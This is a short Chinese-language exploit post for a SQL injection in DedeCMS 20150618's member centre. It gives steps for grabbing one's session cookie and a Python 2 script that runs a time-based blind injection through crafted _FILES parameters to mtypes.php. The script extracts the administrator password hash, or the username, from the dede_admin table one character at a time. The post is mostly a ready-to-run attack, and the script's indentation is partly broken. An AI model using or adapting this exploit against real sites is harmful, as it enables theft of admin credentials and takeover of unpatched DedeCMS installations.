Dedecms 20150618 注入漏洞(可注入管理员账户)

漏洞地址：http://www.wooyun.org/bugs/wooyun-2015-0127787

需要修改的地方是cookie ,因为是会员中心的注入首先要能注册,注册完成后添加一个分类如图

在地址栏输入 javascript:document.write(document.cookie); 得到自己的cookie

得到的cookie 替换脚本中的cookie

就可以愉快的跑密码了

跑用户名只需要把脚本中的pwd 换成uname就OK了

import urllib2

import time

opener = urllib2.build_opener()

opener.addheaders.append(('Cookie', 'PHPSESSID=thr71ua1g91j9d5lf79tr70ri1; DedeUserID=2; DedeUserID__ckMd5=6425e9e8f081fd4b; DedeLoginTime=1450059059; DedeLoginTime__ckMd5=0cae1010080d973a; last_vtime=1449818368; last_vtime__ckMd5=a8cc9e405d9da0bd; last_vid=tmdsb; last_vid__ckMd5=c6de842f1764c614'))

payloads = 'abcdefghijklmnopqrstuvwxyz0123456789@_.'

name = ""

for i in range(1,21):

for p in payloads:

s1 = "%s" %(i)

s2 = "%s" %(ord(p))

        s = "http://localhost/d2/member/mtypes.php?dopost=save&_FILES[mtypename][name]=.xxxx&_FILES[mtypename][type]=xxxxx&_FILES[mtypename][tmp_name][a'%20and%20`'`.``.mtypeid%20or%20if(ascii(substr((select%20pwd%20from%20dede_admin%20limit%201),"+s1+",1))%3d"+s2+",sleep(3),0)%20and%20mtypeid%3d1%23]=w&_FILES[mtypename][size]=.xxxx"

start_time = time.time()

try:

            req = urllib2.Request(s)

            req_data=opener.open(req,timeout=10)

            if time.time() - start_time > 2.0:

                name = name+p

                print name+'.....'

except urllib2.URLError,e:

break

print 'password is %s' % name